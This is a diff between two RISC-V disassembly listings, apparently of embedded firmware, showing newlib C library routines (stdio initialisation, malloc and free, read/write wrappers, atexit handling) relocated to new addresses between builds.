-20403a7a:	00001797          	auipc	a5,0x1
-20403a7e:	dd878793          	addi	a5,a5,-552 # 20404852 <__sread>
-20403a82:	d05c                	sw	a5,36(s0)
-20403a84:	00001797          	auipc	a5,0x1
-20403a88:	dfe78793          	addi	a5,a5,-514 # 20404882 <__swrite>
-20403a8c:	d41c                	sw	a5,40(s0)
-20403a8e:	00001797          	auipc	a5,0x1
-20403a92:	e4478793          	addi	a5,a5,-444 # 204048d2 <__sseek>
-20403a96:	d45c                	sw	a5,44(s0)
-20403a98:	00001797          	auipc	a5,0x1
-20403a9c:	e7078793          	addi	a5,a5,-400 # 20404908 <__sclose>
-20403aa0:	40b2                	lw	ra,12(sp)
-20403aa2:	d000                	sw	s0,32(s0)
-20403aa4:	d81c                	sw	a5,48(s0)
-20403aa6:	4422                	lw	s0,8(sp)
-20403aa8:	0141                	addi	sp,sp,16
-20403aaa:	8082                	ret
+2040278c <read>:
+2040278c:	86b2                	mv	a3,a2
+2040278e:	862e                	mv	a2,a1
+20402790:	85aa                	mv	a1,a0
+20402792:	8141a503          	lw	a0,-2028(gp) # 8000d874 <_impure_ptr>
+20402796:	5b10006f          	j	20403546 <_read_r>
 
-20403aac <_cleanup_r>:
-20403aac:	00001597          	auipc	a1,0x1
-20403ab0:	1b858593          	addi	a1,a1,440 # 20404c64 <_fflush_r>
-20403ab4:	aa81                	j	20403c04 <_fwalk_reent>
+2040279a <write>:
+2040279a:	86b2                	mv	a3,a2
+2040279c:	862e                	mv	a2,a1
+2040279e:	85aa                	mv	a1,a0
+204027a0:	8141a503          	lw	a0,-2028(gp) # 8000d874 <_impure_ptr>
+204027a4:	a009                	j	204027a6 <_write_r>
 
-20403ab6 <__sfmoreglue>:
-20403ab6:	1141                	addi	sp,sp,-16
-20403ab8:	c226                	sw	s1,4(sp)
-20403aba:	06800613          	li	a2,104
-20403abe:	fff58493          	addi	s1,a1,-1
-20403ac2:	02c484b3          	mul	s1,s1,a2
-20403ac6:	c04a                	sw	s2,0(sp)
-20403ac8:	892e                	mv	s2,a1
-20403aca:	c422                	sw	s0,8(sp)
-20403acc:	c606                	sw	ra,12(sp)
-20403ace:	07448593          	addi	a1,s1,116
-20403ad2:	2499                	jal	20403d18 <_malloc_r>
-20403ad4:	842a                	mv	s0,a0
-20403ad6:	cd01                	beqz	a0,20403aee <__sfmoreglue+0x38>
-20403ad8:	00052023          	sw	zero,0(a0)
-20403adc:	01252223          	sw	s2,4(a0)
-20403ae0:	0531                	addi	a0,a0,12
-20403ae2:	c408                	sw	a0,8(s0)
-20403ae4:	06848613          	addi	a2,s1,104
-20403ae8:	4581                	li	a1,0
-20403aea:	d9aff0ef          	jal	ra,20403084 <memset>
-20403aee:	40b2                	lw	ra,12(sp)
-20403af0:	8522                	mv	a0,s0
-20403af2:	4422                	lw	s0,8(sp)
-20403af4:	4492                	lw	s1,4(sp)
-20403af6:	4902                	lw	s2,0(sp)
-20403af8:	0141                	addi	sp,sp,16
-20403afa:	8082                	ret
+204027a6 <_write_r>:
+204027a6:	1141                	addi	sp,sp,-16
+204027a8:	c422                	sw	s0,8(sp)
+204027aa:	842a                	mv	s0,a0
+204027ac:	852e                	mv	a0,a1
+204027ae:	85b2                	mv	a1,a2
+204027b0:	8636                	mv	a2,a3
+204027b2:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+204027b6:	c606                	sw	ra,12(sp)
+204027b8:	3641                	jal	20402338 <_write>
+204027ba:	57fd                	li	a5,-1
+204027bc:	00f51663          	bne	a0,a5,204027c8 <_write_r+0x22>
+204027c0:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+204027c4:	c391                	beqz	a5,204027c8 <_write_r+0x22>
+204027c6:	c01c                	sw	a5,0(s0)
+204027c8:	40b2                	lw	ra,12(sp)
+204027ca:	4422                	lw	s0,8(sp)
+204027cc:	0141                	addi	sp,sp,16
+204027ce:	8082                	ret
 
-20403afc <__sinit>:
-20403afc:	4d1c                	lw	a5,24(a0)
-20403afe:	e3bd                	bnez	a5,20403b64 <__sinit+0x68>
-20403b00:	1141                	addi	sp,sp,-16
-20403b02:	c422                	sw	s0,8(sp)
-20403b04:	c606                	sw	ra,12(sp)
-20403b06:	00000797          	auipc	a5,0x0
-20403b0a:	fa678793          	addi	a5,a5,-90 # 20403aac <_cleanup_r>
-20403b0e:	d51c                	sw	a5,40(a0)
-20403b10:	04052423          	sw	zero,72(a0)
-20403b14:	04052623          	sw	zero,76(a0)
-20403b18:	04052823          	sw	zero,80(a0)
-20403b1c:	5fc0a797          	auipc	a5,0x5fc0a
-20403b20:	d547a783          	lw	a5,-684(a5) # 8000d870 <_global_impure_ptr>
-20403b24:	842a                	mv	s0,a0
-20403b26:	00f51463          	bne	a0,a5,20403b2e <__sinit+0x32>
-20403b2a:	4785                	li	a5,1
-20403b2c:	cd1c                	sw	a5,24(a0)
-20403b2e:	8522                	mv	a0,s0
-20403b30:	281d                	jal	20403b66 <__sfp>
-20403b32:	c048                	sw	a0,4(s0)
-20403b34:	8522                	mv	a0,s0
-20403b36:	2805                	jal	20403b66 <__sfp>
-20403b38:	c408                	sw	a0,8(s0)
-20403b3a:	8522                	mv	a0,s0
-20403b3c:	202d                	jal	20403b66 <__sfp>
-20403b3e:	c448                	sw	a0,12(s0)
-20403b40:	4048                	lw	a0,4(s0)
-20403b42:	4601                	li	a2,0
-20403b44:	4591                	li	a1,4
-20403b46:	3df5                	jal	20403a42 <std>
-20403b48:	4408                	lw	a0,8(s0)
-20403b4a:	4605                	li	a2,1
-20403b4c:	45a5                	li	a1,9
-20403b4e:	3dd5                	jal	20403a42 <std>
-20403b50:	4448                	lw	a0,12(s0)
-20403b52:	4609                	li	a2,2
-20403b54:	45c9                	li	a1,18
-20403b56:	35f5                	jal	20403a42 <std>
-20403b58:	4785                	li	a5,1
-20403b5a:	40b2                	lw	ra,12(sp)
-20403b5c:	cc1c                	sw	a5,24(s0)
-20403b5e:	4422                	lw	s0,8(sp)
-20403b60:	0141                	addi	sp,sp,16
-20403b62:	8082                	ret
-20403b64:	8082                	ret
+204027d0 <__register_exitproc>:
+204027d0:	88aa                	mv	a7,a0
+204027d2:	82018513          	addi	a0,gp,-2016 # 8000d880 <_global_atexit>
+204027d6:	411c                	lw	a5,0(a0)
+204027d8:	ef81                	bnez	a5,204027f0 <__register_exitproc+0x20>
+204027da:	8f418713          	addi	a4,gp,-1804 # 8000d954 <_global_atexit0>
+204027de:	c118                	sw	a4,0(a0)
+204027e0:	00000513          	li	a0,0
+204027e4:	87ba                	mv	a5,a4
+204027e6:	c509                	beqz	a0,204027f0 <__register_exitproc+0x20>
+204027e8:	411c                	lw	a5,0(a0)
+204027ea:	08f72423          	sw	a5,136(a4) # 10013088 <__stack_size+0x10012888>
+204027ee:	87ba                	mv	a5,a4
+204027f0:	43d8                	lw	a4,4(a5)
+204027f2:	487d                	li	a6,31
+204027f4:	557d                	li	a0,-1
+204027f6:	04e84663          	blt	a6,a4,20402842 <__register_exitproc+0x72>
+204027fa:	02088d63          	beqz	a7,20402834 <__register_exitproc+0x64>
+204027fe:	0887a803          	lw	a6,136(a5)
+20402802:	04080063          	beqz	a6,20402842 <__register_exitproc+0x72>
+20402806:	00271513          	slli	a0,a4,0x2
+2040280a:	9542                	add	a0,a0,a6
+2040280c:	c110                	sw	a2,0(a0)
+2040280e:	10082303          	lw	t1,256(a6)
+20402812:	4605                	li	a2,1
+20402814:	00e61633          	sll	a2,a2,a4
+20402818:	00c36333          	or	t1,t1,a2
+2040281c:	10682023          	sw	t1,256(a6)
+20402820:	08d52023          	sw	a3,128(a0)
+20402824:	4689                	li	a3,2
+20402826:	00d89763          	bne	a7,a3,20402834 <__register_exitproc+0x64>
+2040282a:	10482683          	lw	a3,260(a6)
+2040282e:	8e55                	or	a2,a2,a3
+20402830:	10c82223          	sw	a2,260(a6)
+20402834:	00170693          	addi	a3,a4,1
+20402838:	070a                	slli	a4,a4,0x2
+2040283a:	c3d4                	sw	a3,4(a5)
+2040283c:	97ba                	add	a5,a5,a4
+2040283e:	c78c                	sw	a1,8(a5)
+20402840:	4501                	li	a0,0
+20402842:	8082                	ret
 
-20403b66 <__sfp>:
-20403b66:	1141                	addi	sp,sp,-16
-20403b68:	c226                	sw	s1,4(sp)
-20403b6a:	5fc0a497          	auipc	s1,0x5fc0a
-20403b6e:	d064a483          	lw	s1,-762(s1) # 8000d870 <_global_impure_ptr>
-20403b72:	4c9c                	lw	a5,24(s1)
-20403b74:	c04a                	sw	s2,0(sp)
-20403b76:	c606                	sw	ra,12(sp)
-20403b78:	c422                	sw	s0,8(sp)
-20403b7a:	892a                	mv	s2,a0
-20403b7c:	e399                	bnez	a5,20403b82 <__sfp+0x1c>
-20403b7e:	8526                	mv	a0,s1
-20403b80:	3fb5                	jal	20403afc <__sinit>
-20403b82:	04848493          	addi	s1,s1,72
-20403b86:	4480                	lw	s0,8(s1)
-20403b88:	40dc                	lw	a5,4(s1)
-20403b8a:	17fd                	addi	a5,a5,-1
-20403b8c:	0007d663          	bgez	a5,20403b98 <__sfp+0x32>
-20403b90:	409c                	lw	a5,0(s1)
-20403b92:	cfb9                	beqz	a5,20403bf0 <__sfp+0x8a>
-20403b94:	4084                	lw	s1,0(s1)
-20403b96:	bfc5                	j	20403b86 <__sfp+0x20>
-20403b98:	00c41703          	lh	a4,12(s0)
-20403b9c:	e739                	bnez	a4,20403bea <__sfp+0x84>
-20403b9e:	77c1                	lui	a5,0xffff0
-20403ba0:	0785                	addi	a5,a5,1
-20403ba2:	06042223          	sw	zero,100(s0)
-20403ba6:	00042023          	sw	zero,0(s0)
-20403baa:	00042223          	sw	zero,4(s0)
-20403bae:	00042423          	sw	zero,8(s0)
-20403bb2:	c45c                	sw	a5,12(s0)
-20403bb4:	00042823          	sw	zero,16(s0)
-20403bb8:	00042a23          	sw	zero,20(s0)
-20403bbc:	00042c23          	sw	zero,24(s0)
-20403bc0:	4621                	li	a2,8
-20403bc2:	4581                	li	a1,0
-20403bc4:	05c40513          	addi	a0,s0,92
-20403bc8:	cbcff0ef          	jal	ra,20403084 <memset>
-20403bcc:	02042a23          	sw	zero,52(s0)
-20403bd0:	02042c23          	sw	zero,56(s0)
-20403bd4:	04042423          	sw	zero,72(s0)
-20403bd8:	04042623          	sw	zero,76(s0)
-20403bdc:	40b2                	lw	ra,12(sp)
-20403bde:	8522                	mv	a0,s0
-20403be0:	4422                	lw	s0,8(sp)
-20403be2:	4492                	lw	s1,4(sp)
-20403be4:	4902                	lw	s2,0(sp)
-20403be6:	0141                	addi	sp,sp,16
-20403be8:	8082                	ret
-20403bea:	06840413          	addi	s0,s0,104
-20403bee:	bf71                	j	20403b8a <__sfp+0x24>
-20403bf0:	4591                	li	a1,4
-20403bf2:	854a                	mv	a0,s2
-20403bf4:	35c9                	jal	20403ab6 <__sfmoreglue>
-20403bf6:	c088                	sw	a0,0(s1)
-20403bf8:	842a                	mv	s0,a0
-20403bfa:	fd49                	bnez	a0,20403b94 <__sfp+0x2e>
-20403bfc:	47b1                	li	a5,12
-20403bfe:	00f92023          	sw	a5,0(s2)
-20403c02:	bfe9                	j	20403bdc <__sfp+0x76>
+20402844 <__call_exitprocs>:
+20402844:	7179                	addi	sp,sp,-48
+20402846:	ca56                	sw	s5,20(sp)
+20402848:	c85a                	sw	s6,16(sp)
+2040284a:	c65e                	sw	s7,12(sp)
+2040284c:	c462                	sw	s8,8(sp)
+2040284e:	d606                	sw	ra,44(sp)
+20402850:	d422                	sw	s0,40(sp)
+20402852:	d226                	sw	s1,36(sp)
+20402854:	d04a                	sw	s2,32(sp)
+20402856:	ce4e                	sw	s3,28(sp)
+20402858:	cc52                	sw	s4,24(sp)
+2040285a:	c266                	sw	s9,4(sp)
+2040285c:	8b2a                	mv	s6,a0
+2040285e:	8aae                	mv	s5,a1
+20402860:	82018b93          	addi	s7,gp,-2016 # 8000d880 <_global_atexit>
+20402864:	4c05                	li	s8,1
+20402866:	000ba483          	lw	s1,0(s7)
+2040286a:	cc81                	beqz	s1,20402882 <__call_exitprocs+0x3e>
+2040286c:	40c0                	lw	s0,4(s1)
+2040286e:	0884a983          	lw	s3,136(s1)
+20402872:	fff40913          	addi	s2,s0,-1
+20402876:	040a                	slli	s0,s0,0x2
+20402878:	00898a33          	add	s4,s3,s0
+2040287c:	9426                	add	s0,s0,s1
+2040287e:	00095f63          	bgez	s2,2040289c <__call_exitprocs+0x58>
+20402882:	50b2                	lw	ra,44(sp)
+20402884:	5422                	lw	s0,40(sp)
+20402886:	5492                	lw	s1,36(sp)
+20402888:	5902                	lw	s2,32(sp)
+2040288a:	49f2                	lw	s3,28(sp)
+2040288c:	4a62                	lw	s4,24(sp)
+2040288e:	4ad2                	lw	s5,20(sp)
+20402890:	4b42                	lw	s6,16(sp)
+20402892:	4bb2                	lw	s7,12(sp)
+20402894:	4c22                	lw	s8,8(sp)
+20402896:	4c92                	lw	s9,4(sp)
+20402898:	6145                	addi	sp,sp,48
+2040289a:	8082                	ret
+2040289c:	000a8c63          	beqz	s5,204028b4 <__call_exitprocs+0x70>
+204028a0:	00099663          	bnez	s3,204028ac <__call_exitprocs+0x68>
+204028a4:	197d                	addi	s2,s2,-1
+204028a6:	1a71                	addi	s4,s4,-4
+204028a8:	1471                	addi	s0,s0,-4
+204028aa:	bfd1                	j	2040287e <__call_exitprocs+0x3a>
+204028ac:	07ca2783          	lw	a5,124(s4)
+204028b0:	ff579ae3          	bne	a5,s5,204028a4 <__call_exitprocs+0x60>
+204028b4:	40d8                	lw	a4,4(s1)
+204028b6:	405c                	lw	a5,4(s0)
+204028b8:	177d                	addi	a4,a4,-1
+204028ba:	03271863          	bne	a4,s2,204028ea <__call_exitprocs+0xa6>
+204028be:	0124a223          	sw	s2,4(s1)
+204028c2:	d3ed                	beqz	a5,204028a4 <__call_exitprocs+0x60>
+204028c4:	0044ac83          	lw	s9,4(s1)
+204028c8:	00098863          	beqz	s3,204028d8 <__call_exitprocs+0x94>
+204028cc:	1009a683          	lw	a3,256(s3)
+204028d0:	012c1733          	sll	a4,s8,s2
+204028d4:	8ef9                	and	a3,a3,a4
+204028d6:	ee89                	bnez	a3,204028f0 <__call_exitprocs+0xac>
+204028d8:	9782                	jalr	a5
+204028da:	40d8                	lw	a4,4(s1)
+204028dc:	000ba783          	lw	a5,0(s7)
+204028e0:	f99713e3          	bne	a4,s9,20402866 <__call_exitprocs+0x22>
+204028e4:	fcf480e3          	beq	s1,a5,204028a4 <__call_exitprocs+0x60>
+204028e8:	bfbd                	j	20402866 <__call_exitprocs+0x22>
+204028ea:	00042223          	sw	zero,4(s0)
+204028ee:	bfd1                	j	204028c2 <__call_exitprocs+0x7e>
+204028f0:	1049a683          	lw	a3,260(s3)
+204028f4:	ffca2583          	lw	a1,-4(s4)
+204028f8:	8f75                	and	a4,a4,a3
+204028fa:	e701                	bnez	a4,20402902 <__call_exitprocs+0xbe>
+204028fc:	855a                	mv	a0,s6
+204028fe:	9782                	jalr	a5
+20402900:	bfe9                	j	204028da <__call_exitprocs+0x96>
+20402902:	852e                	mv	a0,a1
+20402904:	9782                	jalr	a5
+20402906:	bfd1                	j	204028da <__call_exitprocs+0x96>
 
-20403c04 <_fwalk_reent>:
-20403c04:	7179                	addi	sp,sp,-48
-20403c06:	d422                	sw	s0,40(sp)
-20403c08:	d04a                	sw	s2,32(sp)
-20403c0a:	ce4e                	sw	s3,28(sp)
-20403c0c:	cc52                	sw	s4,24(sp)
-20403c0e:	c85a                	sw	s6,16(sp)
-20403c10:	c65e                	sw	s7,12(sp)
-20403c12:	d606                	sw	ra,44(sp)
-20403c14:	d226                	sw	s1,36(sp)
-20403c16:	ca56                	sw	s5,20(sp)
-20403c18:	892a                	mv	s2,a0
-20403c1a:	8a2e                	mv	s4,a1
-20403c1c:	04850413          	addi	s0,a0,72
-20403c20:	4981                	li	s3,0
-20403c22:	4b05                	li	s6,1
-20403c24:	5bfd                	li	s7,-1
-20403c26:	4404                	lw	s1,8(s0)
-20403c28:	00442a83          	lw	s5,4(s0)
-20403c2c:	1afd                	addi	s5,s5,-1
-20403c2e:	020ad063          	bgez	s5,20403c4e <_fwalk_reent+0x4a>
-20403c32:	4000                	lw	s0,0(s0)
-20403c34:	f86d                	bnez	s0,20403c26 <_fwalk_reent+0x22>
-20403c36:	50b2                	lw	ra,44(sp)
-20403c38:	5422                	lw	s0,40(sp)
-20403c3a:	5492                	lw	s1,36(sp)
-20403c3c:	5902                	lw	s2,32(sp)
-20403c3e:	4a62                	lw	s4,24(sp)
-20403c40:	4ad2                	lw	s5,20(sp)
-20403c42:	4b42                	lw	s6,16(sp)
-20403c44:	4bb2                	lw	s7,12(sp)
-20403c46:	854e                	mv	a0,s3
-20403c48:	49f2                	lw	s3,28(sp)
-20403c4a:	6145                	addi	sp,sp,48
-20403c4c:	8082                	ret
-20403c4e:	00c4d783          	lhu	a5,12(s1)
-20403c52:	00fb7b63          	bgeu	s6,a5,20403c68 <_fwalk_reent+0x64>
-20403c56:	00e49783          	lh	a5,14(s1)
-20403c5a:	01778763          	beq	a5,s7,20403c68 <_fwalk_reent+0x64>
-20403c5e:	85a6                	mv	a1,s1
-20403c60:	854a                	mv	a0,s2
-20403c62:	9a02                	jalr	s4
-20403c64:	00a9e9b3          	or	s3,s3,a0
-20403c68:	06848493          	addi	s1,s1,104
-20403c6c:	b7c1                	j	20403c2c <_fwalk_reent+0x28>
+20402908 <std>:
+20402908:	1141                	addi	sp,sp,-16
+2040290a:	c422                	sw	s0,8(sp)
+2040290c:	c606                	sw	ra,12(sp)
+2040290e:	842a                	mv	s0,a0
+20402910:	00b51623          	sh	a1,12(a0)
+20402914:	00c51723          	sh	a2,14(a0)
+20402918:	00052023          	sw	zero,0(a0)
+2040291c:	00052223          	sw	zero,4(a0)
+20402920:	00052423          	sw	zero,8(a0)
+20402924:	06052223          	sw	zero,100(a0)
+20402928:	00052823          	sw	zero,16(a0)
+2040292c:	00052a23          	sw	zero,20(a0)
+20402930:	00052c23          	sw	zero,24(a0)
+20402934:	4621                	li	a2,8
+20402936:	4581                	li	a1,0
+20402938:	05c50513          	addi	a0,a0,92
+2040293c:	3e25                	jal	20402474 <memset>
+2040293e:	00001797          	auipc	a5,0x1
+20402942:	c3478793          	addi	a5,a5,-972 # 20403572 <__sread>
+20402946:	d05c                	sw	a5,36(s0)
+20402948:	00001797          	auipc	a5,0x1
+2040294c:	c5a78793          	addi	a5,a5,-934 # 204035a2 <__swrite>
+20402950:	d41c                	sw	a5,40(s0)
+20402952:	00001797          	auipc	a5,0x1
+20402956:	ca078793          	addi	a5,a5,-864 # 204035f2 <__sseek>
+2040295a:	d45c                	sw	a5,44(s0)
+2040295c:	00001797          	auipc	a5,0x1
+20402960:	ccc78793          	addi	a5,a5,-820 # 20403628 <__sclose>
+20402964:	40b2                	lw	ra,12(sp)
+20402966:	d000                	sw	s0,32(s0)
+20402968:	d81c                	sw	a5,48(s0)
+2040296a:	4422                	lw	s0,8(sp)
+2040296c:	0141                	addi	sp,sp,16
+2040296e:	8082                	ret
 
-20403c6e <malloc>:
-20403c6e:	85aa                	mv	a1,a0
-20403c70:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-20403c74:	a055                	j	20403d18 <_malloc_r>
+20402970 <_cleanup_r>:
+20402970:	00001597          	auipc	a1,0x1
+20402974:	01458593          	addi	a1,a1,20 # 20403984 <_fflush_r>
+20402978:	aa81                	j	20402ac8 <_fwalk_reent>
 
-20403c76 <_free_r>:
-20403c76:	c1c5                	beqz	a1,20403d16 <_free_r+0xa0>
-20403c78:	ffc5a783          	lw	a5,-4(a1)
-20403c7c:	1101                	addi	sp,sp,-32
-20403c7e:	cc22                	sw	s0,24(sp)
-20403c80:	ce06                	sw	ra,28(sp)
-20403c82:	ffc58413          	addi	s0,a1,-4
-20403c86:	0007d363          	bgez	a5,20403c8c <_free_r+0x16>
-20403c8a:	943e                	add	s0,s0,a5
-20403c8c:	c62a                	sw	a0,12(sp)
-20403c8e:	17a010ef          	jal	ra,20404e08 <__malloc_lock>
-20403c92:	81c18713          	addi	a4,gp,-2020 # 8000d88c <__malloc_free_list>
-20403c96:	431c                	lw	a5,0(a4)
-20403c98:	4532                	lw	a0,12(sp)
-20403c9a:	eb89                	bnez	a5,20403cac <_free_r+0x36>
-20403c9c:	00042223          	sw	zero,4(s0)
-20403ca0:	c300                	sw	s0,0(a4)
-20403ca2:	4462                	lw	s0,24(sp)
-20403ca4:	40f2                	lw	ra,28(sp)
-20403ca6:	6105                	addi	sp,sp,32
-20403ca8:	1620106f          	j	20404e0a <__malloc_unlock>
-20403cac:	00f47d63          	bgeu	s0,a5,20403cc6 <_free_r+0x50>
-20403cb0:	4010                	lw	a2,0(s0)
-20403cb2:	00c406b3          	add	a3,s0,a2
-20403cb6:	00d79663          	bne	a5,a3,20403cc2 <_free_r+0x4c>
-20403cba:	4394                	lw	a3,0(a5)
-20403cbc:	43dc                	lw	a5,4(a5)
-20403cbe:	96b2                	add	a3,a3,a2
-20403cc0:	c014                	sw	a3,0(s0)
-20403cc2:	c05c                	sw	a5,4(s0)
-20403cc4:	bff1                	j	20403ca0 <_free_r+0x2a>
-20403cc6:	873e                	mv	a4,a5
-20403cc8:	43dc                	lw	a5,4(a5)
-20403cca:	c399                	beqz	a5,20403cd0 <_free_r+0x5a>
-20403ccc:	fef47de3          	bgeu	s0,a5,20403cc6 <_free_r+0x50>
-20403cd0:	4314                	lw	a3,0(a4)
-20403cd2:	00d70633          	add	a2,a4,a3
-20403cd6:	00861f63          	bne	a2,s0,20403cf4 <_free_r+0x7e>
-20403cda:	4010                	lw	a2,0(s0)
-20403cdc:	96b2                	add	a3,a3,a2
-20403cde:	c314                	sw	a3,0(a4)
-20403ce0:	00d70633          	add	a2,a4,a3
-20403ce4:	fac79fe3          	bne	a5,a2,20403ca2 <_free_r+0x2c>
-20403ce8:	4390                	lw	a2,0(a5)
-20403cea:	43dc                	lw	a5,4(a5)
-20403cec:	96b2                	add	a3,a3,a2
-20403cee:	c314                	sw	a3,0(a4)
-20403cf0:	c35c                	sw	a5,4(a4)
-20403cf2:	bf45                	j	20403ca2 <_free_r+0x2c>
-20403cf4:	00c47563          	bgeu	s0,a2,20403cfe <_free_r+0x88>
-20403cf8:	47b1                	li	a5,12
-20403cfa:	c11c                	sw	a5,0(a0)
-20403cfc:	b75d                	j	20403ca2 <_free_r+0x2c>
-20403cfe:	4010                	lw	a2,0(s0)
-20403d00:	00c406b3          	add	a3,s0,a2
-20403d04:	00d79663          	bne	a5,a3,20403d10 <_free_r+0x9a>
-20403d08:	4394                	lw	a3,0(a5)
-20403d0a:	43dc                	lw	a5,4(a5)
-20403d0c:	96b2                	add	a3,a3,a2
-20403d0e:	c014                	sw	a3,0(s0)
-20403d10:	c05c                	sw	a5,4(s0)
-20403d12:	c340                	sw	s0,4(a4)
-20403d14:	b779                	j	20403ca2 <_free_r+0x2c>
-20403d16:	8082                	ret
+2040297a <__sfmoreglue>:
+2040297a:	1141                	addi	sp,sp,-16
+2040297c:	c226                	sw	s1,4(sp)
+2040297e:	06800613          	li	a2,104
+20402982:	fff58493          	addi	s1,a1,-1
+20402986:	02c484b3          	mul	s1,s1,a2
+2040298a:	c04a                	sw	s2,0(sp)
+2040298c:	892e                	mv	s2,a1
+2040298e:	c422                	sw	s0,8(sp)
+20402990:	c606                	sw	ra,12(sp)
+20402992:	07448593          	addi	a1,s1,116
+20402996:	3671                	jal	20402522 <_malloc_r>
+20402998:	842a                	mv	s0,a0
+2040299a:	cd01                	beqz	a0,204029b2 <__sfmoreglue+0x38>
+2040299c:	00052023          	sw	zero,0(a0)
+204029a0:	01252223          	sw	s2,4(a0)
+204029a4:	0531                	addi	a0,a0,12
+204029a6:	c408                	sw	a0,8(s0)
+204029a8:	06848613          	addi	a2,s1,104
+204029ac:	4581                	li	a1,0
+204029ae:	ac7ff0ef          	jal	ra,20402474 <memset>
+204029b2:	40b2                	lw	ra,12(sp)
+204029b4:	8522                	mv	a0,s0
+204029b6:	4422                	lw	s0,8(sp)
+204029b8:	4492                	lw	s1,4(sp)
+204029ba:	4902                	lw	s2,0(sp)
+204029bc:	0141                	addi	sp,sp,16
+204029be:	8082                	ret
 
-20403d18 <_malloc_r>:
-20403d18:	1101                	addi	sp,sp,-32
-20403d1a:	ca26                	sw	s1,20(sp)
-20403d1c:	00358493          	addi	s1,a1,3
-20403d20:	98f1                	andi	s1,s1,-4
-20403d22:	c84a                	sw	s2,16(sp)
-20403d24:	ce06                	sw	ra,28(sp)
-20403d26:	cc22                	sw	s0,24(sp)
-20403d28:	c64e                	sw	s3,12(sp)
-20403d2a:	04a1                	addi	s1,s1,8
-20403d2c:	47b1                	li	a5,12
-20403d2e:	892a                	mv	s2,a0
-20403d30:	04f4f463          	bgeu	s1,a5,20403d78 <_malloc_r+0x60>
-20403d34:	44b1                	li	s1,12
-20403d36:	04b4e363          	bltu	s1,a1,20403d7c <_malloc_r+0x64>
-20403d3a:	854a                	mv	a0,s2
-20403d3c:	0cc010ef          	jal	ra,20404e08 <__malloc_lock>
-20403d40:	81c18693          	addi	a3,gp,-2020 # 8000d88c <__malloc_free_list>
-20403d44:	4298                	lw	a4,0(a3)
-20403d46:	843a                	mv	s0,a4
-20403d48:	e429                	bnez	s0,20403d92 <_malloc_r+0x7a>
-20403d4a:	82018413          	addi	s0,gp,-2016 # 8000d890 <__malloc_sbrk_start>
-20403d4e:	401c                	lw	a5,0(s0)
-20403d50:	e791                	bnez	a5,20403d5c <_malloc_r+0x44>
-20403d52:	4581                	li	a1,0
-20403d54:	854a                	mv	a0,s2
-20403d56:	2d5000ef          	jal	ra,2040482a <_sbrk_r>
-20403d5a:	c008                	sw	a0,0(s0)
-20403d5c:	85a6                	mv	a1,s1
-20403d5e:	854a                	mv	a0,s2
-20403d60:	2cb000ef          	jal	ra,2040482a <_sbrk_r>
-20403d64:	59fd                	li	s3,-1
-20403d66:	07351a63          	bne	a0,s3,20403dda <_malloc_r+0xc2>
-20403d6a:	47b1                	li	a5,12
-20403d6c:	00f92023          	sw	a5,0(s2)
-20403d70:	854a                	mv	a0,s2
-20403d72:	098010ef          	jal	ra,20404e0a <__malloc_unlock>
-20403d76:	a031                	j	20403d82 <_malloc_r+0x6a>
-20403d78:	fa04dfe3          	bgez	s1,20403d36 <_malloc_r+0x1e>
-20403d7c:	47b1                	li	a5,12
-20403d7e:	00f92023          	sw	a5,0(s2)
-20403d82:	4501                	li	a0,0
-20403d84:	40f2                	lw	ra,28(sp)
-20403d86:	4462                	lw	s0,24(sp)
-20403d88:	44d2                	lw	s1,20(sp)
-20403d8a:	4942                	lw	s2,16(sp)
-20403d8c:	49b2                	lw	s3,12(sp)
-20403d8e:	6105                	addi	sp,sp,32
-20403d90:	8082                	ret
-20403d92:	401c                	lw	a5,0(s0)
-20403d94:	8f85                	sub	a5,a5,s1
-20403d96:	0207cf63          	bltz	a5,20403dd4 <_malloc_r+0xbc>
-20403d9a:	462d                	li	a2,11
-20403d9c:	00f67663          	bgeu	a2,a5,20403da8 <_malloc_r+0x90>
-20403da0:	c01c                	sw	a5,0(s0)
-20403da2:	943e                	add	s0,s0,a5
-20403da4:	c004                	sw	s1,0(s0)
-20403da6:	a029                	j	20403db0 <_malloc_r+0x98>
-20403da8:	405c                	lw	a5,4(s0)
-20403daa:	02871363          	bne	a4,s0,20403dd0 <_malloc_r+0xb8>
-20403dae:	c29c                	sw	a5,0(a3)
-20403db0:	854a                	mv	a0,s2
-20403db2:	058010ef          	jal	ra,20404e0a <__malloc_unlock>
-20403db6:	00b40513          	addi	a0,s0,11
-20403dba:	00440793          	addi	a5,s0,4
-20403dbe:	9961                	andi	a0,a0,-8
-20403dc0:	40f50733          	sub	a4,a0,a5
-20403dc4:	fcf500e3          	beq	a0,a5,20403d84 <_malloc_r+0x6c>
-20403dc8:	943a                	add	s0,s0,a4
-20403dca:	8f89                	sub	a5,a5,a0
-20403dcc:	c01c                	sw	a5,0(s0)
-20403dce:	bf5d                	j	20403d84 <_malloc_r+0x6c>
-20403dd0:	c35c                	sw	a5,4(a4)
-20403dd2:	bff9                	j	20403db0 <_malloc_r+0x98>
-20403dd4:	8722                	mv	a4,s0
-20403dd6:	4040                	lw	s0,4(s0)
-20403dd8:	bf85                	j	20403d48 <_malloc_r+0x30>
-20403dda:	00350413          	addi	s0,a0,3
-20403dde:	9871                	andi	s0,s0,-4
-20403de0:	fc8502e3          	beq	a0,s0,20403da4 <_malloc_r+0x8c>
-20403de4:	40a405b3          	sub	a1,s0,a0
-20403de8:	854a                	mv	a0,s2
-20403dea:	241000ef          	jal	ra,2040482a <_sbrk_r>
-20403dee:	fb351be3          	bne	a0,s3,20403da4 <_malloc_r+0x8c>
-20403df2:	bfa5                	j	20403d6a <_malloc_r+0x52>
+204029c0 <__sinit>:
+204029c0:	4d1c                	lw	a5,24(a0)
+204029c2:	e3bd                	bnez	a5,20402a28 <__sinit+0x68>
+204029c4:	1141                	addi	sp,sp,-16
+204029c6:	c422                	sw	s0,8(sp)
+204029c8:	c606                	sw	ra,12(sp)
+204029ca:	00000797          	auipc	a5,0x0
+204029ce:	fa678793          	addi	a5,a5,-90 # 20402970 <_cleanup_r>
+204029d2:	d51c                	sw	a5,40(a0)
+204029d4:	04052423          	sw	zero,72(a0)
+204029d8:	04052623          	sw	zero,76(a0)
+204029dc:	04052823          	sw	zero,80(a0)
+204029e0:	5fc0b797          	auipc	a5,0x5fc0b
+204029e4:	e807a783          	lw	a5,-384(a5) # 8000d860 <_global_impure_ptr>
+204029e8:	842a                	mv	s0,a0
